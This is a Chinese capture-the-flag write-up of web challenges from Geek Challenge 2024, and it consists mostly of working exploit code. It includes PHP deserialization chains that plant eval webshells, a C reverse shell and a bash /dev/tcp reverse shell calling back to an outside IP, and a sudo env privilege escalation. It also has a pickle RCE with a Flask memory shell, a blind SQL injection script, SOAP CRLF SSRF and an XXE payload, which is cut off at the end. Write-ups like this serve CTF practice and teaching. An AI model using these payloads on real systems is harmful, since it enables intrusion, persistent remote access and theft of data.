我是极客大挑战2024第二名队里的web手
关注我们队的逆向手谢谢喵 Error 的小破站

Web

100%的⚪

js代码搜atob能直接看到base64编码的flag

ezpop

题目源码:

php
 <?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}

if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}

题目确实出到不会的考点了,反复调用的问题开始无法解决,导致一直空着,解题思路是在做第二个pop链的GC回收时看到的绕过反复调用
https://blog.csdn.net/Jayjay___/article/details/130647484?spm=1001.2014.3001.5502

绕过方法为多实例化一个对象
一般的pop链连接不讲了,最后需要绕过死亡exit命令。
屏蔽了二次编码和一些直接写马的可能,好在我们不用RCE,可以不用尖括号
写个.htaccess文件,利用 php_value auto_prepend_file "/flag" 直接回显出flag
exp如下:

php
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}
$S=new SYC();
$l1=new lover();
$l2=new lover();
$G1=new Geek();
$G2 = new Geek();
$l1->J1rry="data://text/plain,Welcome GeekChallenge 2024";
$l1->meimeng = $G1;
$G1->GSBP = $l2;
$l2->meimeng = $G2;
$G2->GSBP = $S;
#'/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i'
# string.toupper
# string.tolower
# string.strip_tags
$S->starven='php://filter/string.strip_tags/?>php_value auto_prepend_file "/flag"<?/resource=.htaccess';
$exp=serialize($l1);
$exp=str_replace('s:7:"meimeng"', 'S:7:"m\65imeng"', $exp);
echo urlencode($exp);

not_just_pop

题目源码:

php
<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}

}

class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}

class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}

}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}

}

$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}

throw new Exception是明显的GC回收标志。除了这个就是锻炼serialize基本功的时间了
https://blog.csdn.net/Jayjay___/article/details/130647484

GC回收的利用方法:
假设先前你要序列化a对象,改为serialize($a, null),并把最后的i:1对象破坏,变成i:0, 这样就可以绕过throw new Exception。
因为PHP7.3后对private和protect不敏感,所以直接用public就可以
exp:

php
<?php
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");';
public $web='file_put_contents("shell.php","<?=eval(\$_POST[\'cmd\']);?>");';
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do); #=>Parar::__set
}

}

class Parar{
public $execurise;
public $lead;
public $hansome;
public function __construct() {
$this->execurise="man!";
}
public function __set($name,$value)
{
echo $this->lead; #=>Starven::__toString
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){ #=>SYC::__isset
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}

class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc; #=>Parar:: __get
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();# =>lhRaMk7::__invoke
}

}
class SYC{
public $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();# =>Starven::__call
}

}
$n = null;
$l1 = new lhRaMK7();
$l2 = new lhRaMK7();
$P1 = new Parar();
$P2 = new Parar();
$S1 = new Starven();
$S2 = new Starven();
$SYC = new SYC();
$l1->You = $P1; #=>Parar::__set
$P1->lead = $S1; #=>Starven::__toString
$S1->girl = $P2; #=>Parar:: __get
$P2->hansome = $SYC; #=>SYC::__isset
$SYC->forever = $S2; #=>Starven::__call
$S2->friend = $l2; #=>lhRaMk7::__invoke
$Syclover=serialize(array($l1,$n));
$Syclover = str_replace("i:1;N;}", "i:0;N;}", $Syclover);
// $Syclover=str_replace("O:7", "O:8", $Syclover);
// $Syclover=str_replace('s:17:', 's:16:', $Syclover);
// $Syclover = rtrim($Syclover, '}');
echo $Syclover."\n";
echo base64_encode($Syclover);
// $Syclover=$_GET['Syclover'];
// if (isset($Syclover)) {
// unserialize(base64_decode($Syclover));
// throw new Exception("None");
// }else{
// echo("怎么不给我呢,是不喜欢吗?");
// }


蚁剑连上shell发现ret 127,说明存在disable_functions
在蚁剑市场下载php_disable_functions绕过插件
利用其中的PHP7_UserFilter绕过

发现/flag需要root权限,尝试SUID提权

find / -user root -perm -4000 -print 2>/dev/null


没找到有用的

sudo -l

env 可以直接获取root权限 https://gtfobins.github.io/#env

sudo env /bin/sh

蚁剑的shell不大行,切到自己的vps上提权
先写个反弹shell https://www.revshells.com/
exp.c

c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
int port = 1234;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("8.155.17.250");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"bash", NULL};
execvp("bash", argv);

return 0;
}
sh
gcc exp.c -o exp
./exp

拿到flag

Can_you_Pass_Me

我又来推销fenjing了:https://github.com/Marven11/Fenjing
fenjing分析确实有ssti漏洞,但是好像不能直接出的样子
那就反弹shell

bash -c "bash -i >& /dev/tcp/8.155.17.250/1234 0>&1"


Problem_On_My_Web

一看是经典留言榜,试一试XSS漏洞

<script>alert(1)</script>


确实有漏洞,但是document.cookie不能直接读
根据manager路由的提示,考虑通过manager路由带出cookie
先写个

<script>alert(document.cookie)</script>

到留言榜,然后在/manager传参url=http://127.0.0.1/ 带出flag

ez_http

burp传参如下:

https://jwt.io/ 在这上面把hasFlag的false改为true,key为Starven_secret_key

cookie传参改过的jwt回去拿到flag

baby_upload

能传.htaccess进去?

AddType application/x-httpd-php .jpg


不能传.htaccess,但还有个文件叫.user.ini

auto_prepend_file=a.jpg

把a.jpg写上我们的webshell就行了。
这也不行???
结果发现a.jpg.php没被过滤。。。
(并不)轻松RCE,flag也不用提权读取

ez_include

index.php

php
<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
if(preg_match('/starven_secret.php/i', $_GET['file'])) {
require_once $_GET['file'];
}else{
echo "还想非预期?";
}
}

可以看我的PHP特性集合哦(https://blog.hatchet.top/posts/44659fec)
轮流循环绕过

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/starven_secret.php

给了/levelllll2.php
levelllll2.php

php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
$file = $_GET ["syc"];
$hint = "register_argc_argv = On";
if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
die("hint都给的这么明显了还不会做?");
}
if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
include $file;
}
}

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
博客中的 pearcmd.php的巧妙利用 可以用于解决这题。
仿照博客的poc构造出payload

PHP不比Java差

php
 <?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}

unserialize($_POST['data']);

又是php反序列化?
反转了,我就喜欢做
https://blog.csdn.net/qq_35533398/article/details/108492823

php
<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}
$function = new ReflectionFunction('title');
echo $function->invokeArgs(array('Dr', 'Phil'));
?>

这里面提到ReflectionFunction里的invokeArgs可以用于执行函数。
在本地测试下发现也可以执行系统函数system,且没有被题目过滤。

php
<?php
$function = new ReflectionFunction('system');
$function->invoke("whoami");

__unserialize()方法在PHP版本大于7.4才被引入。重点方法在于$change该取什么值。
问gpt问出来了reset和array_pop,分别取数组的首和尾。
让Sink()被调用,就会引用__toString()方法。然后链子就呼之欲出了

php
<?php
class Challenge
{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if (file_exists($this->file)) {
global $FLAG;
echo $FLAG;
}
}
}

class Geek
{
public $a;
public $b;
public function __unserialize(array $data): void
{
echo "__unserialize is called<br>";
#var_dump($data);
#$change = $_GET["change"];
$change = "array_pop";
$FUNC = $change($data);
#var_dump($FUNC);
$FUNC();
}
}

class Syclover
{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee = new $this->Where($this->IS);
$fff = $this->Starven;
$eee->$fff($this->Girlfriend);

}
}
$G = new Geek;
$S = new Syclover;
$C = new Challenge;
$G->a = $S;
$G->b = [$C,"Sink"];
$C->file = $S;
$S->Where = "ReflectionFunction";
$S->IS = "system";
$S->Starven = "invoke";
$S->Girlfriend = 'echo \'<?php @eval($_POST[cmd]); ?>\' > shell.php';
$payload=serialize($G);
echo $payload;
unserialize($payload);

连上后发现还要SUID提权

find / -user root -perm -4000 -print 2>/dev/null


这次扫出了file
直接file -f /flag

P. S:
做完后发现change取implode能直接叫出toString
链子直接变成一段
甚至能不用Challenge类的吗,惊了。

SecretInDrivingSchool

审计HTTP发现有注释
L000G1n.php
登录还有提示,出题人好温油
账号为4-16位数字或者英文字母
密码格式为三位字母+@chengxing
用admin: SYC@chengxing 登录成功,转到adChange.php

考虑。。注一下?
在广告代码最后写

<?= `cat /flag` ?>

然后就能在首页看到flag啦~

rce_me

php
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?

if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}

echo "Welcome to GeekChallenge2024!<br>";

if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";

foreach ($_GET as $key => $value) {
$$key = $value;
}

if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";

if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}

if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);




} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>
Well, you haven't started.

特性都很一般般,不详细讲了
大小写绕过,php7转化参数错误
我收藏的哈希函数绕过:https://blog.hatchet.top/posts/66a71aff
对转换参数有疑问可以搭个php 自己 echo $_GET;
甚至还用了去年的题目。。。

ez_python

这题我在moectf2024写的pet_store的payload竟然能直接用上。。。
出题人过滤了bash不能反弹shell,又无回显怎么办?
我用的时间盲注

py
import pickle
import base64
import requests
import string
import time

# 字符集 [A-Za-z0-9{}-_]
alphabet = string.ascii_letters + string.digits + "{}-_"

# 目标 URL
target_url = "http://5000-97f7a701-0ac8-4d83-a520-41a98ed6f1bd.challenge.ctfplus.cn/login" # 替换为目标 URL

# 猜测 $FLAG 的最大长度
max_flag_length = 50

def generate_payload(prefix):
"""
根据当前猜测的前缀生成 payload。
"""
payload_code = f"""
import os;import time;
result=os.popen('cat /flag').read();
if result.startswith("{prefix}"):
time.sleep(1)
else:
time.sleep(0.1)
"""

class Pet:
def __reduce__(self):
return (exec, (payload_code,))

# 使用 pickle 序列化并编码为 base64
return base64.b64encode(pickle.dumps(Pet())).decode()

def send_payload(payload):
"""
发送 payload 并测量响应时间。
"""
cookies = {
"heart": "a4a4c3ff70994e5ab8b7222ab9ab30289ff438e3557d8bf54357d20195459fd6"
}
data = {"statement": payload}
# print(payload)
start_time = time.time()
# 发送请求(假设是 POST 请求)
response = requests.post(target_url, data=data, cookies=cookies)
print(response.text)
end_time = time.time()

return end_time - start_time

def guess_flag():
"""
猜测 $FLAG 的值。
"""
guessed_flag = ""

for i in range(max_flag_length):
for char in alphabet:
current_guess = guessed_flag + char
print(f"Testing: {current_guess}")

# 生成 payload
payload = generate_payload(current_guess)
time.sleep(0.1)
# 测量响应时间
response_time = send_payload(payload)

if response_time > 0.8:
# 如果响应时间大于阈值,则表示猜测正确
guessed_flag += char
print(f"Found character: {char}")
break
else:
# 如果遍历完整个字母表都没有找到字符,说明 FLAG 猜测完毕
print(f"FLAG guessed: {guessed_flag}")
return guessed_flag

if __name__ == "__main__":
flag = guess_flag()
print(f"Final FLAG: {flag}")

写内存马也可以
内存马板子

py
# 内存马
import pickle
import base64

class Pet:
def __reduce__(self):
cmd_injection = "__import__('os').popen(request.args.get('cmd')).read()"
return eval, (
"__import__('sys').modules['__main__'].__dict__['app']"
".before_request_funcs.setdefault(None, []).append(lambda :"
+ cmd_injection
+ ")",
)

# 创建类实例并序列化为pickle,再进行base64编码
a = Pet()
b = pickle.dumps(a)
print(base64.b64encode(b).decode())

因为用一次就会爆500,所以用python读取。

py
import requests

cookies = {"heart": "a4a4c3ff70994e5ab8b7222ab9ab30289ff438e3557d8bf54357d20195459fd6"}
payload = "gASVwgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIymX19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSA6X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSkucmVhZCgpKZSFlFKULg=="
data = {"statement": payload}
url = "http://5000-61f7d735-0939-4825-97fd-785ea19574d4.challenge.ctfplus.cn/"
sess = requests.session()
r = sess.post(url=url + "login", cookies=cookies, data=data)
print(r.text)

r = sess.get(
url=url + "cmd?cmd=cat /flag",
cookies=cookies,
)
print(r.text)

funnySQL(复现)

黑名单:

php
if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){
die('不准用!');
}

无回显,想到了时间盲注,sleep没了用benchmark。参考官方WP,这题不需要无列名,只有一列。

py
import requests
import time
from urllib.parse import quote, unquote

url = "http://80-da8c321e-f040-42c1-8bef-b4b844370336.challenge.ctfplus.cn/?username="
flag = ""
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\]^`{|}~"
timeout_threshold = 3 # 设置延时阈值,秒数

payload0 = "'||if(substr((select version()),{},1)=binary '{}',benchmark(1000000,md5(1)),0)#" # 10_2_26-MariaDB-log
payload1 = "'||if(substr((select group_concat(database())),{},1)=binary '{}',benchmark(1000000,md5(1)),0)#" # syclover
payload2 = "'||if((substr((select table_name from mysql.innodb_table_stats where database_name='syclover' limit 0,1),{},1)=binary '{}'),benchmark(10000000,sha1(1)),0)#" # Rea11ys3ccccccr3333t
# sys.schema_auto_increment_columns
# sys.schema_table_statistics_with_buffer
# sys.x$schema_table_statistics_with_buffer
# sys.x$schema_table_statistics
# sys.x$ps_schema_table_statistics_io
# mysql.innodb_table_stats
# mysql.innodb_index_stats
payload3 = "'||if(substr((select * from Rea11ys3ccccccr3333t),{},1)=binary '{}',benchmark(10000000,sha1(1)),0)#" #
for i in range(1, 100): # 从1开始
found = False
for j in chars:
payload = payload3.format(i, j).replace("=", " like ").replace(" ", "\x09")
full_url = url + quote(payload)
print(full_url)
# 记录请求开始时间
start_time = time.time()

try:
r = requests.get(url=full_url)
except requests.RequestException as e:
print(f"请求失败: {e}")
continue

# 检查是否触发防御
if "不准用" in r.text:
print("请求被阻止,退出。")
exit(-1)

# 计算响应时间
response_time = time.time() - start_time
print(f"正在测试字符: {j}, 响应时间: {response_time:.2f} 秒")

# 检查是否达到延时阈值
if response_time >= timeout_threshold:
flag += j
print(f"找到字符: {j}, 当前 flag: {flag}")
found = True
break

if not found:
print("没有更多字符,退出。")
break

print(f"最终 flag: {flag}")

实测benchmark(1000000,md5(1))在payload0和payload1是能跑出结果,但在payload2就不行,而benchmark(10000000,sha1(1))就能跑所有的payload,吐了啊。。。

ezSSRF(复现)

www.zip存在源码泄露
h4d333333.php

php
<?php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}

if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));

$client->calculator();

echo file_get_contents("result");
}else{
echo "Please give me a location";
}

calculator.php

php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}

没想到被h4d333333.php中的echo file_get_contents(“result”);误导了,以为传ssrf会有回显,结果传完啥都没有就没尝试了。
其实直接读result文件就可以,echo file_get_contents当不存在就好
原理是soap传递时,UA如果可控。就可以伪造HTTP包进行SSRF和CRLF攻击。
自己写的soap UA伪造

php
<?php
$location = "http://127.0.0.1/calculator.php";
$data = "expression=system('cat /flag')";
$headers = array(
"Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0",
);
#$user_agent = "hatchet\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . (string) strlen($data) . "\r\n"
$user_agent = "hatchet\r\n\r\n\r\n\r\n\r\nPOST /calculator.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . (string) strlen($data) . "\r\n"
. join("\r\n", $headers)
. "\r\n\r\n" . $data;
echo urlencode($user_agent);

真简单啊

py_game(复现)

用flask-unsign可以预先跑一遍字典爆破secret_key(可以排除一些弱口令)

个人爆破jwt脚本

py
import jwt

token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4" # 题目中的 token
password_file = "./crypto/wordlist.txt" # 枚举密码字典文件

with open(password_file, "rb") as file:
for line in file:
line = line.strip() # 去除每行后面的换行
try:
jwt.decode(
token, verify=True, key=line, algorithms="HS256"
) # 设置编码方式为 HS256 !这里自行更改
print("key: ", line.decode("ascii"))
break
except (
jwt.exceptions.ExpiredSignatureError,
jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError,
): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
print("key: ", line.decode("ascii"))
break
except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
print("Failed: ", line.decode("ascii"))
continue
else:
print("Not Found.")

flask-unsign使用

decode
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' --secret 'CHANGEME'

爆破密钥
flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0QnHQ.r92N4qr203gikX6xYAsl3DCtowM'

encode
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

使用flask-unsign

flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiMSJ9.Z0QnHQ.r92N4qr203gikX6xYAsl3DCtowM'

跑出密钥值为a123456。伪造cookie为admin

flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 'admin'}" --secret 'a123456'

admin页面有源码下载,反编译为 app.py

py
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password


def check(self, data):
if self.username == data['username']:
pass
return self.password == data['password']


admin = User('admin', '123456j1rrynonono')
Users = [
admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
if hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
continue
setattr(dst, k, v)



def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.username == username:
flash('用户名已存在', 'error')
return redirect(url_for('register'))

new_user = User(username, password)
Users.append(new_user)
flash('注册成功!请登录', 'success')
return redirect(url_for('login'))
return None('register.html')

register = app.route('/register', [
'GET',
'POST'], **('methods',))(register)

def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.check({
'username': username,
'password': password }):
session['username'] = username
flash('登录成功', 'success')
return redirect(url_for('dashboard'))

flash('用户名或密码错误', 'error')
return redirect(url_for('login'))
return None('login.html')

login = app.route('/login', [
'GET',
'POST'], **('methods',))(login)

def play():
if 'username' in session:
with open('/app/templates/play.html', 'r', 'utf-8', **('encoding',)) as file:
play_html = file.read()
return play_html
None('请先登录', 'error')
return redirect(url_for('login'))

play = app.route('/play', [
'GET',
'POST'], **('methods',))(play)

def admin():
if 'username' in session and session['username'] == 'admin':
return render_template('admin.html', session['username'], **('username',))
None('你没有权限访问', 'error')
return redirect(url_for('login'))

admin = app.route('/admin', [
'GET',
'POST'], **('methods',))(admin)

def downloads321():
return send_file('./source/app.pyc', True, **('as_attachment',))

downloads321 = app.route('/downloads321')(downloads321)

def index():
return render_template('index.html')

index = app.route('/')(index)

def dashboard():
if 'username' in session:
is_admin = session['username'] == 'admin'
if is_admin:
user_tag = 'Admin User'
else:
user_tag = 'Normal User'
return render_template('dashboard.html', session['username'], user_tag, is_admin, **('username', 'tag', 'is_admin'))
None('请先登录', 'error')
return redirect(url_for('login'))

dashboard = app.route('/dashboard')(dashboard)

def xml_parse():

try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
tree = etree.fromstring(xml_bytes, parser, **('parser',))
result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
return Response(result_xml, 'application/xml', **('mimetype',))
except etree.XMLSyntaxError:
e = None

try:
return str(e)
e = None
del e
return None



xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False

return True


def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:

try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = None.loads(request.data.decode())
print(data)
if all((lambda .0: pass)(data.values())):
update(data, User)
return (jsonify({
'message': '更新成功' }), 200)
return None
except Exception:
e = None

try:
return (f'''Exception: {str(e)}''', 500)
e = None
del e
return ('No data provided', 400)
return redirect(url_for('login'))
return None



update_route = app.route('/update', [
'POST'], **('methods',))(update_route)
if __name__ == '__main__':
app.run('0.0.0.0', 80, False, **('host', 'port', 'debug'))

存在xml_parse路由,和update函数。很明显我们要打原型链污染xml_data从而进行xxe。
黑名单采用unicode编码绕过
POC:

{
    "__init__":{
        "__globals__":{
            "app":{
                "config":{
                    "xml_data":"
                        <?xml version="1.0" encoding="utf-8"?>
                        <!DOCTYPE xxe [
                        <!ELEMENT name ANY >
                        <!ENTITY admin SYSTEM "/flag" >]>
                        <user>
                        <username>&admin;</username>
                        <password>123456</password>
                        </user>
                        "
                }
            }
        }
    }
}

用cyberchef的unicode escape编码
payload:

{
    "_\u005Finit__":{
        "_\u005Fglobals__":{
            "app":{
                "config":{
                    "xml_data":"\u003C\u003F\u0078\u006D\u006C\u0020\u0076\u0065\u0072\u0073\u0069\u006F\u006E\u003D\u0022\u0031\u002E\u0030\u0022\u0020\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u003D\u0022\u0075\u0074\u0066\u002D\u0038\u0022\u003F\u003E\u000A\u003C\u0021\u0044\u004F\u0043\u0054\u0059\u0050\u0045\u0020\u0078\u0078\u0065\u0020\u005B\u000A\u003C\u0021\u0045\u004C\u0045\u004D\u0045\u004E\u0054\u0020\u006E\u0061\u006D\u0065\u0020\u0041\u004E\u0059\u0020\u003E\u000A\u003C\u0021\u0045\u004E\u0054\u0049\u0054\u0059\u0020\u0061\u0064\u006D\u0069\u006E\u0020\u0053\u0059\u0053\u0054\u0045\u004D\u0020\u0022\u002F\u0066\u006C\u0061\u0067\u0022\u0020\u003E\u005D\u003E\u000A\u003C\u0075\u0073\u0065\u0072\u003E\u000A\u003C\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003E\u0026\u0061\u0064\u006D\u0069\u006E\u003B\u003C\u002F\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003E\u000A\u003C\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003E\u0031\u0032\u0033\u0034\u0035\u00